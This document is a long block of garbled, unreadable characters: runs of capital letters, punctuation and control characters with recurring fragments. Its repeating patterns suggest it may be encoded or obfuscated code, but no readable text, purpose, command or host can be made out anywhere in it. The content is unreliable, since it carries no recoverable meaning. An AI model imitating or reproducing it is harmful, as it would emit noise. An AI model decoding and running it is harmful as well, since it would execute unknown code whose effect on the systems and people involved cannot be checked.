OT^^NKGGGGGEEN\mGGmGGGO	QU 
OVTSTNOCS	NG[GGGGGOV^RJ^RNNGGmmmCS	GGZGGGGGT_P8QSP^ON\C8 Z7/78.)38*&?H7/78.)38*&?\C	^ TZC8 LV_\mGGmGGGGC	U GZGGEE\mGGGGGGGGGGGOOC +(%&+4<WW RUOVTQWN:NGAAG^8UVUVOVTSUNOC +(%&+4<	QU 
OVTQWN:NGGGGAAGGG	QU 
OVTSTNOC +(%&+4<WW RUOVTQVN:NGYGGOUWLTWNNGGmGGGGGC	U GGGGGZGGGGC +(%&+4<^8UVUVOVTQVN:\mGGGGGGmGGGGGGGC	U GGZGGGG_	8VUST
UO8Q TOPWPNKGGEEN\mGGmGO	QU 
OVTQUNOC	U NGGGGYGGGOVTLTPNNGGGGGmGGGG_8U^ P OWW RUOPWPNKGGGC	U KGGG8Q TOVTQTNN\mGGGGGmGGGGGGGGCSQUR_
UGGGGGGZGG^8UVUVOVTS^NO8Q TOPPWNNGGXGGGGGGO	 NGGGG^8UVUVOQV_NO
8O@H@NKGGGGG7/7825+87&3/NGG]G@H@\mGGOCSQUR_
UGGGGGZZZGEENGGGCSQUR_
UGZGGGGG@H@\mGGO8Q TOVVT_NOCSQUR_
UKGGGGJVNGGGGFZZGG@H@NGGGCSQUR_
UGGIZGGGG@H@\mGGC88	_GGGGZGGGGGGOmGGGGGG	QU 
OVTQSNGGGGGZYGGGGS
	QVRUONKmGWW RUOVTQRNGGZYGWT8
PONKmGGGGGG^8UVUVOVTQQNGZYGGCSQUR_
UKmGGN\mC^S QUTGGGZGGGOm^8UVUVOVTQPNGGGZYGGGGC
RPKm^8UVUVOVTQ_NGZYGGCWU W
KmGGWW RUOVTQ^NGGZYGGGC W_8V  KmG	QU 
OVTPWNGGZYG^U  

VRO&%47&3/GGGIGGG^8UVUVOVTPVNKGGGGOULVWNNKmmmGGWW RUOVTPUNGGGGGZYGC	U KmGGGGGGN\mmGGC^WTWGGGZGGGGGU^ _UO8Q TOVTPTNKGGEEN\mGGGOF8Q TOVTSUNOC^WTWNGGGWW RUOVTPSNOC^WTWNGGZZZGGWNGGGm	\mGGGmHHG	G	GG
	 GmmGC_R	RV WGGGGZGG8Q TOVTPRNOWRQ _WSO8Q TOQRTNOC^S QUTNKGGGGGGC^WTWNN\mGCWGGZGGGG8Q TOVTPQNGGGIGGGG	QU 
OVTPRNO	QU 
OQRTNOC88	_NNGGGIGGWW RUOVTPPN\mGCWGGGIZGGG8Q TOVTP_NGIGGGC_R	RV WGGGIGGGGWW RUOVTP^N\m_8U^ P O	QU 
OVT_WNKGGGGCWKGGGGGG^8UVUVOVT_VNN\mGGGG_8U^ P O8Q TOVT_UNKGGWW RUOVVSUNOO	 NGGGGCS	GGIGO	 NGC	U GGGGGIGGC^WTWGIGGGG@@GGGGIGGG	QU 
OVT_TNOPQ
P
WS	U^OEENNNKGGGWW RUOVT_VNN\mCP8Q_
GGZGGG8Q TOVTS^NO^8UVUVOPPWNNGXGG
8O^8UVUVOVTRSNGGGGGGIGGS^8SO8Q TOVT_SNNNG]GGGEE\mmGGGGGGGGOCP8Q_
GGGGZZZGGGEENGGGCP8Q_
GZGWW RUOVTRRNGGIGPQ
P
WS	U^OEENGGIG	QU 
OVTRQNGGIGGGGS^8SO	QU 
OVT_RNN\C	
	Z^W_\C
^ ZC	
	BT\mGGGGGGO8Q TOVUQVNOCP8Q_
KGGWW RUOVTRRNNGFZZGGWNGGGGCP8Q_
GGZGG	QU 
OVTRRNGGGIGGGG	QU 
OVT_QNO^8UVUVOVT_PNO^8UVUVOVT__NKGGGEEKGCP8Q_
NKGGGGG@H@N\m_8U^ P OWW RUORTVNKGGCP8Q_
KGG8Q TOVT_^NN\mGGGGGOWW RUOVT^WNOCS	NGGG[GGGGGORW[[VNNGGGGGGm	\mmmmGGGG_8U^ P OWW RUOT^^NKGGCS	KGWW RUOVT_^NN\mmmmGOFR W
TUONNGG	\mGGCW	WGGZGRU^W
 ON\mmmmGGGGOF'^8UVUVOVTWTNOCW	WNNGGPTV8
OCW	WKGGOUQWLUTTNKGGGGGN\mmmGGOF'	QU 
OVT^VNOCW	WNGGGGGGGGF'8Q TOVT^UNOCW	WNNGGGG	\mGC RVGZGGCW	WGGGGIGGG@H@GIGCPU
^			TGGGGGIG8Q TOVT^TN\mC
SS
GZGG_T^POm8Q TOVT^SNKmO@884+2 88@KGG@88=.78)&*"88@KGG@8805.3"8,">88@KG@881"54.()88@NKmOCWU W
KGGC
^Q
KGGG^U  

VRO&%47&3/GIGGG	QU 
OVT^RNKGGGOVQJSNNKGGGGG^8
U_U
ONNmmmmN\mGGGGGGOFC
SS
NGmmmmGGGGOO	NGG 8	O	QU 
OVT^QNKGGGWNGYGGGGGWNGGGWS	V VQPOWW RUOVT_RNKG^8UVUVOVT^PNN\m	\mGGGGGmGGGGGGGGOF'WW RUOVT^_NOC RVNGGGWW RUOVVSUNO8 	  OO	 NGGG'8Q TOVUQQNOC RVNNNGGFZZGG8Q TOVT^^NOC
SS
NNGmGGGGG
TT^	SOC RVKGC
SS
KGGWW RUOVSWWNN\mGQ	WTT UOC RVKG	T	ONN\mG



T_WOC RVKGOT^PLUTNN\mmmmGGGS_R^W8OC RVN\mmmGGGmGGGO3GGGC  PNGGGmGWS	V VQPO^8UVUVOVSWVNKGGC  PN\mGGGGGGGGGGGGO"	GGC  PNGGGmmGGm		GG_T^POCKGGGGGCW RWSVKGGGCU8^PSNmmC	TT_GGGGZGGG	\mGGGGGGGOC	TT_GZZZGGGGGG	NGGGGGmC	TT_GZGGGGG^8UVUVOVSWUNO8Q TOVWW_NNGXGG 8		OPS_US^_ONNGGGG]G\mGGGGGOFGG^8UVUVOVU^TNOC	TT_NNGGGmGC	TT_GGZGV
^R^ Q		QV O	QU 
OPT^NKGGGN\mGGGmGOFG^8UVUVOVU^TNOC	TT_NNGGGGmGGGGC	TT_GGZGON\mmmHHG07G&G3]G	G	J
mmGmGC8VPW_
GZGGEE\mGOOC	TT_<C:NGGGGAAGGWW RUOVTSUNOC	TT_<C:NNGGmmGC8VPW_
GZGGC	TT_<C:\mGGGGGmmmmGGGGO	QU 
OVSWTNOC8VPW_
NG[GGGGOS_LUNNGmGC8VPW_
GZG_	8VUST
UOCKGEEN\mGGmGO8Q TOVSWSNOC8VPW_
NGGGGGG[GOWVVLWUVNNGGG	GGGGGG\mGGCWUWRGGGGZGGWW RUOT_QNOC8VPW_
KGGN\mGGGGGGGOFCWUWRGGGGG^8UVUVOVSWRNOCWUWRNG[GGOV^Q9USQNNGG	GG\mGGGGGGGO8Q TOVUQVNOCWUWRKGGG8Q TOVVSRNNGGGGZZZGNG	GGG\mGCWUWRGGGGGZGGG	QU 
OVSWQNOCW RWSVKGGCU8^PSKGGGGGCWUWRN\mGGO	OWW RUOVSWPNNNGmHHG07G%G&7.GT]G		G		JmmGGGGGGmGGG'	8 8OCWUWRKGGG3(,")87&54"N\mGGGGGGGGGO3GC  PNGGm	GG\mGGGGGO"	GGC  PNGmG	GGG\mmGGGGGGGGOFW^RTOCWUWRNNGGmHHGG		 mmmGGG	G\mGGmGGGGGGG	GGGGGCWUWR\mmGGGGmGGGG		GQSVONmmmGGmmmmGGGGGmGGGGGGOF	QU 
OVSWUNO^8UVUVOVSW_NNNGG	\mGGOF	OWW RUOVUUPNNNGGG	\mmmmGCU_GGGZGGG	W TTV^TVON\mGGOFCU_NGGGmG	WUON\mGGCU_GGGGGZGGG	W TTV^TVON\mGGGmGGGGGGGC_^	GZGGGG_	8VUST
UO^8UVUVOVTPTNKGEEN\mGGOWW RUOVSWRNOC_^	NGGGZZZGGGGWNGGGC_^	GZG8Q TOVSW^NOE;WWEKGGGOQLVWNN\mC	V
S_GZGOOC +(%&+4<8Q TOVSVWN:NGGGAAGGG	QU 
OVTSUNOC +(%&+4<WW RUOVSVVN:NGGGAAGGWW RUOVSWRNOC +(%&+4<WW RUOVSVVN:NGGGGGGYZGGOPRLURNNGGXGC +(%&+4<^8UVUVOVSVVN:GGGG]G_	8VUST
UO^8UVUVOT^^NKGGGEEN\mGGGO8Q TOVSWRNOC	V
S_NGG[GGOVTSJTSNNGC	V
S_GGZGT_P8QSP^ON\mCS
WP8^UGZGGOOC +(%&+4<WW RUOVTQVN:NGGAAGGG8Q TOVTSUNOC +(%&+4<8Q TOVTQVN:NGGAAGWW RUOVSWRNOC +(%&+4<^8UVUVOVTQVN:NGGYGGOVPT9VR^NNGGGGGGXGGGC +(%&+4<^8UVUVOVTQVN:G]GGG_	8VUST
UO8Q TOPWPNKGGGGEEN\mGGGCWSS
VGZGGGGG8Q TOVT^^NOC	V
S_GGGIGGCS
WP8^UGGGIGC_^	GIGGGG@@GGGIGG	QU 
OVSVUNOPQ
P
WS	U^OEENNN\mGGGO_	8VUST
UOWW RUOVT_UNKGEENGGGFZZGGGGCWSS
VNGGmGG	WUON\mGGCU_GZGG	W TTV^TVON\mGGGmGGGGGGGOFR W
TUONNGG	\mGGGGC	
QRVGGGGGZGGG
U	TWQQON\mmmCV8PSVGGZGGG'WW RUOVT^_NOC	
QRVGIGGGWW RUORSVNN\mGGGGGOCV8PSVGGAAGGGGGCU_GGAAG 8		O8Q TOPTQNNNGGGG	\CU	^8^ ZU^T\C^^QVPZOCU	^8^ YWNXCU	^8^ ]JCU	^8^ \mGGGRVP
QVW		ON\mV__^RON\mGGG ^^^SON\mmGGGGGC^VTSGGZGG'WW RUOVSVTNOC	
QRVGIGWW RUORSVNN\mGGGCU_GZGG	W TTV^TVON\mmmGOC^VTSGAAGCU_NGmGG8		O^8UVUVOPTQNKGGGGVKGGGORRUJURUNN\mmmmGGmGGGGGGGO3GGGGGGC  PNGGGmHHG07G"
G%]G	GJmmWS	V VQPO	QU 
OVSVSNKGGC  PN\mGGGGGO"	GGGC  PNGGGGmmmGG		GGGV__^RONmmGGGGGGGmGGGGOF	O	QU 
OVUUPNNNGGGG	\mGGGGO^8UVUVOVSVRNONGGZZZGGG	QU 
O^TNNGGGGG	\mGGCQ
W^_8	TGZGWW RUOVSWUNO8Q TO^QNNGGGXG'WW RUO^QNO	QU 
ORRRNNGGGG]G\mGOFCQ
W^_8	TGGGCQ
W^_8	TGGGGGGZZZGEEGGGGGGCQ
W^_8	TGGZZZG8Q TORRPNNGGGGGGCQ
W^_8	TGGGGGZG^8UVUVORR_N\mmmGGCPU
^			TGGGGGGZG^U  

VRO&%47&3/GGGIGG^8UVUVOVSVQNKGGOU[[UNN\mC	
QRVGGZGG
U	TWQQON\mmmmGCW	WGGZGGRU^W
 ON\mHMGG	GMHmmmmmCW_WGGZGG^U  

VRO&%47&3/GIGGWW RUOVVWVNKGOS[[VNNGGGIGG	QU 
OVT^TN\mCSQVSGGGGGGZGC	
QRVGGGIG@H@GGGGIGGCW_W\mCST
RW	_RGZGC	
QRVGGIGGGGGGWW RUOVSVPNGIGGCW_W\mCWU W
GGGGZGG8Q TOVTSSNO^RRONKGGGG	QU 
OVT^TNN\mGGGC
^Q
GGGGGGZGGGG^U  

VRO&%47&3/GGGGIGGG^8UVUVOVTSRNKGOWTLWRNNGGGGIGG8Q TOVTSQN\mGGGGGCWW TGGGGZGO	NG 8	O	QU 
OVSV_NKGWN\mGGGOCWW TGAAGGG	QU 
ORRSNONGGGJGCWW TGGG[GO_QTSSLRQNNGmHHGG	
GG07G3G%mmmmGGQWRSVUWTQOCSQVSKGG	N\mGGGGQWRSVUWTQOCST
RW	_RKGGG	N\mGGGGGGGOO	QU 
OVSV^NO&%47&3/KGGGG	QU 
OVUPSNNKGGGG	QU 
OVSUWNOC	
QRVKGGGGGGWW RUOVUPSNNNGGGGGGC	  S8NGGmGGGGGCT	^  UW88GGZGGC	  S8GGIGGGG@H@GGIGCQ
W^_8	T\mCQ8
VSVGGGGZGG'WW RUOVTVTNOCT	^  UW88NGGGXG'WW RUOVSUVNOCT	^  UW88NGG]GGGGEE\mGO	QU 
OVTSUNOCQ8
VSVNGGGGAAG	QU 
OVUQVNOCQ8
VSVKGGGGGCW_WNGFZZGGGGGNGmGGGGGCUQTT	S^GGZGGGG8Q TOVSUUNO^8UVUVOVSUTNGGGGIG8Q TO^QTNOCW_WKGG@H@NGGIGGG^8UVUVOVSUSNKGGE;	EKGGGCQ8
VSVN\mGGGGGOWW RUOVTSUNOCUQTT	S^NGGAAGGCUQTT	S^GGGGFZZGGCQ8
VSVNGGGGSS8^

TVOCT	^  UW88KGGCUQTT	S^N\mGGmHHG
 
GmmGGGGGmmmm	\C	QZOWRLWRN\CQ8SZC	QBVU\mGGGGmGCQQ
VGGGZG_T^POm^8UVUVOPUQNKmmGO@884+2 88@KG@88=.78)&*"88@KGGGG@88.)438/&4/88@KGG@88#&3&8#.588@KGGG@88$()3")38#.58%QS88@KGG@881"54.()88@NKmGOCWU W
KGGC
^Q
KGGGCPU
^			TKGGG8Q TOVSURNGGGIG^U  

VRO&%47&3/GGIGGGGG	QU 
OVT_NKGGGOVLPNNKG^8UVUVOVTPRNO	O8Q TO^RSNNGXG078$()3")38#.5G]GGG
U	TWQQONNKGGGG^8
U_U
ONNmGGGGGGN\mGGGGGGGGOFCQQ
VNGmGGGGGGGGGOO	NG 8	O8Q TOVT^QNKGGGWNGGGYGGGGGWNGGGWS	V VQPOWW RUOVSUQNKGGGG	QU 
OVSUPNN\m	\mmmGGGOF'^8UVUVOVT^VNOCW	WNNGPTV8
OCW	WKGGOSSWLRTNKGGGGGGN\mGGGGCTSVVTRSGGGZGG\mGGGGGGGGGOF'8Q TOVSVTNOCST
RW	_RNGGG	QU 
OVT^^NO8 	  OO	 NGGG'8Q TOVSUVNOCST
RW	_RNNNGGGFZZG8Q TOVSU_NOCQQ
VNNGGGmGGGGGG
TT^	SOCST
RW	_RKGGGGCQQ
VKGGGWW RUOVSUQNN\mGGGQ	WTT UOCST
RW	_RKG	T	ONN\mGGGGGGG



T_WOCST
RW	_RKGOSVRLRNN\mmmS_R^W8OCST
RW	_RN\mGCTSVVTRSGZGGG\mGmmGGC  	T
^GGZGGEE\mGGGOO	QU 
OVSUWNO&%47&3/KG8Q TOVUPSNNKGGG8Q TOVSUWNOC	
QRVKGGGGWW RUOVUPSNNNGGGGC
RNGmGGGGGGCPVRGGZGG'8Q TOVSVTNOC
RGGGGIG@H@GGGGIGCQ
W^_8	TNGGGGGXGG'WW RUOVSUVNOC
RGGIGG@H@GGGGIGGGCQ
W^_8	TNG]GGEE\mGGGGGGO	QU 
OVSU^NOCPVRNGAAGGGGG^8UVUVOVSTWNO8Q TOVSTVNKGGCPVRKGGCPWQ	NNGmHHG		GG	 J	mCRZRPLRV\C8^S	^
	ZCRJUS\mGGCQVP
_GGZGGGG8Q TOQQUNOCPWQ	<U:N\mGGGGOCQVP
_GGGGFZZGGEEGGAAGOCQVP
_KGWW RUOVSTUNNGZZZGGGGGGGGGAAGGF P	WRR88OCQVP
_NNGGGGmHMGGGMHmmGC  	T
^GZGGCQVP
_\mG\mmGGmGmGGGGmmmCP
URGGZG8Q TO^^UNGGGGIGGGOC  	T
^GGFZZGEEGXGG^8UVUVOVSTTNGGGGIGGGGGGWW RUOVSTSNOC  	T
^KGNGGIG	QU 
OVSTRNGGGG]GEENmGIGG8Q TOVSTQNGGGIGGGGGCW_WGGIGGGG^8UVUVOVTP^NmmmmIG	QU 
OVSTPNmGGGIGGGGG^8UVUVOVST_NmGGIGGGG8Q TOVST^NGGGIGGGG^8UVUVOVSU_NOCQQ
VNGGGIGGG8Q TOVSSWN\mGGGGOF'^8UVUVOVSVTNOCSQVSNGGGGGG8Q TOVSU_NO8 	  OO	 NGG'8Q TOVSUVNOCSQVSNNNGGFZZGGGGGG	QU 
OVSU_NOCP
URNNGGmmGGG
TT^	SOCSQVSKGGCP
URKGGGWW RUOVSSVNN\mmGGGGQ	WTT UOCSQVSKGGG	T	ONN\mG



T_WOCSQVSKGOTTRL_RNN\mGS_R^W8OCSQVSN\mmmmGGGCTSVVTRSGZGGGG\mmmmGCR_8^GGZG\mGCW	UQGZGGGG8 	  OO	 NGG'	QU 
OVSUVNOCST
RW	_RNN\mGGOF'WW RUOVTVTNOCST
RW	_RNGGCW	UQGGGGGFZZGGGGGCQQ
VNGGmHHG07G+G7GGmC

8^SZVVQVPU\CZC

8^S9QS\mGGWS	V VQPO8Q TOVSUQNKGGG^8UVUVOVUV^NN\mQWRSVUWTQOCST
RW	_RKGG	N\mGGGGGCR_8^GGGZG\mGGGGGGGGmGGGGGGCW	UQGZGGGGG8 	  OO	 NGGGGGG'^8UVUVOVSUVNOCSQVSNN\C_T	ZTWSP\CU V_^ZC_T	BVW\mGGGGGGGGOF'8Q TOVSSUNOCSQVSNGGGGGGGCW	UQGFZZGGGGGCP
URNGGGmmmmGWS	V VQPO^8UVUVOVSSTNKG	QU 
OVUV^NN\mGQWRSVUWTQOCSQVSKGGG	N\mGGGCR_8^GZGG\mmHHGJ
	GGG07G.
 G%mmGGGG	OCW	UQN\mmmGGGGGOFCR_8^NGGGGmGGGGGC	^W PR GGGGZGGGGO	NGG 8	O^8UVUVOVSSSNKGGWNGGGGGLGV\mG8	O	QU 
OVSSSNKGGC	^W PR KGGG	QU 
OVT_^NN\mGGGGGGOC	^W PR GGYZGGOSJVNNGGmGGGGG8	O	QU 
OVSV_NKG^8UVUVORRSNONKGGGG8Q TOVT_^NN\mGGGGGWS	V VQPO8Q TOVSSTNKG	QU 
OVSSRNN\mGGmHHGG GG07G G4mmG	\mGGmCQ GGZGGO8Q TOVSSQNO&%47&3/KGGWW RUOVSSPNNKGGGG	QU 
OVSSQNOC	
QRVKG^8UVUVOVSSPNNN\mGGGGGCRR
VR_GZGON\mGGGGGGOCQ GGGGGGGC
Q^	R8S	NGGGGmmmGGGGGGGCVPP P_GGGGGZGGGGC
Q^	R8S	GGGIGG@H@GGIGGGGCQ
W^_8	T\mGC^^W	GGGGGZGGG'WW RUOVSSUNOCVPP P_NGGXGGGG'^8UVUVO_SVNOCVPP P_NG]GW\mGGGGC	GGZGGGGG'	QU 
OVSVTNOCVPP P_NGGGXG'WW RUOVSS_NOCVPP P_NG]GGGGEE\mGGGOF	QU 
OVSU^NOC	NNGGmGGWS	V VQPOWW RUOVSSTNKGG^8UVUVOVSS^NN\mGGGGGGGG	\mGGGGGGGmGGGGGO^8UVUVOVUQVNOC	KGGGCW_WNGGGGZZZGNGGGmGGGOC	GGAAGGGWW RUOVSRWNO	QU 
OVSSQNOC	NKGGGJVNGGFZZGGGE;	ENGGC	GGGGIZGGE;	E\mGGGGC ^VURVQRGZGGWW RUOVSRVNGGIGGGGCSQVSGGGIGG@E@GGGGGGIGG7/78"(+\mmmGGGGGOSS8^

TVOCVPP P_KGGGC	GIGGC ^VURVQRNNGGGGGmGGGGOC^^W	NGQ	WTT UOCVPP P_KGGGGGGC^^W	N\mGQ	WTT UOCVPP P_KG	QU 
ORRSNONN\m



T_WOCVPP P_KGGGO^LSVVNN\mmmGG8	O^8UVUVOVSRUNKGGGGG^8UVUVORRSNONKGGGWW RUOVSRTNN\mCRR
VR_<:GGGZGGGGOCVPP P_KGC	N\mGGGGGOO	NG 8	OWW RUOVSSSNKGWNGGGYGGWNGGGGG8	O	QU 
OVSRSNKGGGWKGWW RUOVSRTNN\mGGGOO	NGGGG 8	O^8UVUVOVSV_NKGGWNGYGGGGWNGG'8	O	QU 
OVSV_NN\mGGGGGGmGC__	
RGZGGGGO	NG 8	O^8UVUVOVSRSNKGWNGGGGGLGGV\mGGGG8	OWW RUOVSRRNKGGGC__	
RKG8Q TOVSRTNN\mmmGGGOC__	
RGGYZGGOWULWVNNGGmGGG8	O^8UVUVOVSV_NKG8Q TORRSNONKG8Q TOVSRQNN\mmGGGGGGGWS	V VQPO8Q TOVSSTNKGGG	QU 
OVSSRNN\mm\mGGGGGGmGmmmGGGGGGGmGGGOCTSVVTRSGGGAAGGGF	8R_^_R^ONNGmmmmmGGWS	V VQPOWW RUOVSRPNKG^8UVUVOVSR_NN\mmmmGGGGGGQWRSVUWTQOCSQVSKG	N\mmmGGGQWRSVUWTQOCST
RW	_RKGGGG	N\mmmmGGGGOCRR
VR_GGGGC
NGGGSS8^

TVOC
<W:KGGGC
<V:N\mGGGGC	^W PR GZGGGGGO	NGG 8	O	QU 
OVSR^NKGGGWNGGLGV\mGGG8	OWW RUOVSR^NKGGC	^W PR KGG8Q TOVSRQNN\mGGGGGOC	^W PR GYZGGGGGGOV^T9V^SNNGGm8	O	QU 
OVSQWNKG^8UVUVORRSNONKG	QU 
OVSQVNN\mGGGGGWS	V VQPOWW RUOVSRPNKG8Q TOVSSRNN\mmmGGGGGGO3GGGGC  PNGGmWS	V VQPO^8UVUVOVSQUNKGGGGGC  PN\mGGGGGGGGGO"	GGGC  PNGmmGGGGGGmmmm		GGGGW
	^P	8ONmGmGGmGGGGOF8Q TOVSWUNO	QU 
OVURRNNNG	\mGGO	O^8UVUVOVSQTNNGGGG	O8Q TOVSQSNNNGGGGmmmmGGGGGGGGOO	NGGG' 8	O^8UVUVOVSRUNKGGWNNGmm'8	O8Q TOVSRUNN\mGGG'8	O	QU 
OVSR^NKGGWKG^8UVUVOVSQVNN\mmGGGGGG	\mmmmmmGGC
8SP_GGZGO	NGGG' 8	OWW RUOVSRUNKGWN\mGmmGGGGGGGOFC
8SP_NG	\mC 8QQQGGZGGG8Q TOVSWUNO	QU 
OVSQRNNGGGXGGGGGO	NGG'8Q TOVSQRNO8Q TOVSQQNNGGGGGG]GGGGGGW\mGGGOC 8QQQGGGGG[ZGGWNGGC 8QQQGZGGOVWWLUWWN\mGGGGGGO^8UVUVORRSNONGGGGGJGGGC
8SP_GGG[GC 8QQQGGGGGGLGGOWVTLWNNGGG	\mGG'8	OWW RUOVSRUNKGG^8UVUVOVSQPNONKGGG	QU 
OVSQVNN\mGGC	S^RWGGZGGO	NGG' 8	O^8UVUVOVSR^NKGGGGGWNGLGV\m'8	OWW RUOVSR^NKGGC	S^RWKGGG^8UVUVOVSQ_NN\mGGGGGGGGOC	S^RWGGYZGGORJUNNGmHHG	GmmGGGG'8	O	QU 
OVSRUNN\mG'8	OWW RUOVSQWNKGGG	QU 
OVSQPNONKGG	QU 
OVSQ_NN\mWS	V VQPOWW RUOVSQUNKGGG	QU 
OVSQ^NN\mmmmGGGGmGGGGGGGO3GGC  PNGGmGGGGO"	GGC  PNGGGC
	 
_^Z7/78*&-(581"54.()\CR_UZC
	 
_^M^\mGGGGGGGmmmGGGGGGGmGGGGGG		G T	QTW8ONmGGmGGGGmGGGGGOF	O^8UVUVOVSPWNNNGG	\mGGGGGGGGGGOWW RUOVSPVNONGZZZGGG8Q TO^TNNGG	\mmmGGOFRQR8W
PTQSONNGGGG	\mGGOFR W
TUONNGGGG	\mGCW	WGGGGZGGGRU^W
 ON\mmGGGGGGCSUU
8_VGZGCW	WGIGGGGWW RUOVSPUN\mmmmGGCWPGGGZGGGGGWW RUOVSPTNGGIGE;	EGIGGGWW RUOVSPSNGGIGGE;	EmGIGG8Q TOVSPRNGGGGGGIGGE;	EGGIG^8UVUVOVSPQNGGGIGGE;	EGGGIGWW RUOVSPPNGGIGGGE;	EmIGGGG8Q TOVSP_NGGGIGGGE;	EGGIGGGWW RUOVSP^NGGGGGIGGE;	EGGGIGG	QU 
OVSPPNGIGGGGE;	EmGIGGGWW RUOVS_WNGGIGGE;	E\mGGC	GGZGGGGG'^8UVUVOVS_VNOCSUU
8_VNGGGGXG'^8UVUVOVS_UNOCSUU
8_VNGGGGGG]GGEE\mGGGGGGOF^8UVUVOVSU^NOC	NNGGmmmGGWS	V VQPO8Q TOVS_TNKGG8Q TOVS_SNN\mGGG	\mGmGGGGGO8Q TOVUQVNOC	KGG	QU 
OVSPTNNGGGGGZZZGGNGGmGSS8^

TVOCSUU
8_VKGC	GIGGGCWPN\mGQ	WTT UOCSUU
8_VKGGGG	T	ONN\mG



T_WOCSUU
8_VKGOTPQLSSNN\mmmCPR
GGZGGG	W
_RUTTON\mGGOFCPR
GGGGGGG	QU 
OVS_RNOCPR
NGGGG[GGO^TWJSTWNNGG	\mGGGGGCWU W
GGGZGG^8UVUVOVS_QNO^RRONKGWW RUOVT^TNN\mGGGC	
QRVGGZGGGGG
U	TWQQON\mGCW_WGGGZGGGG^U  

VRO&%47&3/GGIGGWW RUOVVWUNKGGGOQLUNNGGGGIGGWW RUOVT^TN\mCVWQGGZGGGGOmGGC	
QRVGGGIG@H@GGIGGGCW_WKmGGGCW	WGGGIGG@H@GIGCW_WKmmmN\mmmGGGGCQ GZGC	
QRVGIGGGGG@H@GIGGGGCW_W\mGGGGGOCVWQGGGGGGCWUQNGGGmmGGGGGC
Q^	R8S	GGGGZGGWW RUOVTVUNOCWUQN\mmmmGGGO'	QU 
OVT^UNOC
Q^	R8S	NGGGGGPTV8
OC
Q^	R8S	KGGGGOWSLWV^NKGGGGNNGmGGGGCQ GGGGZGGCWUQ\m\mmGmGC8VPW_
GGGZGGQT88^ON\mGmmGGGCQQ
VGGGZGGGG_T^POmGG	QU 
OPUSNKmGGGGGGO@884+2 88@KGGGGGG@887+2 .)8%&4"QS88@KGGGGG@881"54.()88@NKmmGGGOCWU W
KGGC8VPW_
KG^8
U_U
ONNmN\mGGGGGGOFCQQ
VNGmGGGGOO	NG 8	OWW RUOVT^QNKGWNGGYGWNGGWS	V VQPO	QU 
OVS_PNKG8Q TOVS__NN\mmmGGG	\mmGGGGmGGGGGC  	T
^GGZGGEE\mmGGGGGC
RSQ	W^GZGGGO&%47&3/GGIGGWW RUORQSNKGGGC	
QRVGGGGGIGGGGG^8UVUVOVSPUNN\mGC_S  SW GGZGGGGG^8UVUVOVS_^NOWW RUOVSQRNNGGGGGXGG'WW RUOVSQRNO	QU 
ORRRNNGGG]G\mmmmGGO8Q TOVSU^NOC_S  SW NGAAGGC_S  SW GGFZZGEENGGGmGGC
RSQ	W^<:GGZGGGGGG8Q TOVSSQNO&%47&3/KGG^8UVUVOVS^WNNGGIG@H@GGIGC_S  SW \mGGC
RSQ	W^<:GZGC	
QRVGIG@H@GGIGC_S  SW \mGGmGGGGGGOC
RSQ	W^GGGC^UV_NGGGmGGGGC8PQVTGGZGG'WW RUOVSSUNOC^UV_NGGGGXGGGG'^8UVUVOVS^VNOC^UV_NGGG]GGGEE\mGGGGGGOF^8UVUVOVSU^NOC8PQVTNGGGC8PQVTGGZZZGGGGGGEENGGGG		\mGGGGGGOWW RUOVSTWNO	QU 
OVS^UNKGGGGC8PQVTKGGGGGGCPWQ	NNGmCQVP
_GGGZGGG^8UVUVOQQUNOCPWQ	<U:N\mGGGGGGGGGGGOCQVP
_GGFZZGEEGAAGGOCQVP
_KGG8Q TOVSTUNNGGZZZGGGGGGAAGGGGGF P	WRR88OCQVP
_NNGmC  	T
^GGGZGGCQVP
_\m\mGmGGGmGGGGGGmGGGGGGOC  	T
^GGFZZGEENGGGGGmHHGGJ
mmGCQQ
VGZGGWW RUOVSUUNOWW RUOVS^TNKGG8Q TOVS^SNGGGGIGGGGGG^8UVUVOVSTSNOC  	T
^KGGGNGIGG	QU 
OVS^RNKGGGCQQ
VKGGGGVN\mmmGGGGGOFWW RUOVS^QNOCQQ
VNNGGGmWS	V VQPO^8UVUVOVS_PNKGGGG^8UVUVOVS^PNN\mGGGG	\mmGGGGmmmmCT	W GGGZGG\mGGGCV SGGGZGGGGG	\mGGO'WW RUOVS^_NOCQ NNGmCV SGGZGG8 	  OO	 NGGG'	QU 
OVS^VNOCQ NN\CV
TZSPMT\CVQ^QZCV
TJVV\mGGO	QU 
OVS^^NOCV SNGAAGCV SGGZZZGGCQQ
VNGGGmmmCT	W GGGZGGGG\CT VZ_RW\C SZOCT VYWNXCT V]JCT V\mGGGGGGmHHG7/72	GVW]G
	G	 JmmGGGGmGGGGC^__8_GGZGGOmGGGGGGG&%47&3/GIGG8Q TORQSNKmGO	O^8UVUVO^RSNNGGGGGXGGGGG078$()3")38#.5GGG]GGGGGC	
QRVNGIGGGGGWW RUOVSPUNKmGGN\mmmmGGGGC^	8

TGGZGGGGO	NGGG 8	OWW RUOVRWWNKGGGGWN\mGGGGGOC^	8

TGGGGGAAGG8Q TOVSQPNONGJGGC^	8

TGGGGG[GGGGGOVWTQURJVPUURNNGGmGGGGQWRSVUWTQOCQ KG	N\mmmmGGGGGGGGOC^__8_GGGCT8QU	NGGmmmmGCWP 	GGZGGGGG'^8UVUVOVSSUNOCT8QU	NGGGXGG'8Q TOVS^VNOCT8QU	NGGGG]GGEE\mGGGGO^8UVUVOVS^^NOCWP 	NGGAAGGGGGG8Q TOVUQVNOCWP 	KGGCW_WNGGGFZZGGGGNGmGGGGGC  S^
RGZG8VTVWU8WQ
OCWP 	KGGGGGCW_WN\CRU^Z^UM^\C	WZCRU^JUS\mGO^8UVUVOVS^^NOC  S^
RNGGGGAAGGC  S^
RGGGGFZZGCWP 	NGSS8^

TVOCT8QU	KGGGGC  S^
RN\mmGm	\mGGGGmmGGGOCT	W NGGGmGGGGG
TT^	SOCQ KGGGGCQQ
VKGGGG8Q TOVRWVNN\mGGGGGQ	WTT UOCQ KGGG	T	ONN\mmmGGGGGG



T_WOCQ KGGGOTSSLPQNN\CVU
ZVPWPV\C TW8ZCVU
9UVR\mGGGGGS_R^W8OCQ N\mmmmGGmGGGGGCW	UQGZGGGGG'	QU 
OVRWUNOCQ NGGXGGGGGG8 	  OO	 NGGGGG'WW RUOVRWTNOCQ NNGGGGGG]GEE\mGGGGOCW	UQGGGGGGFZZGGCQQ
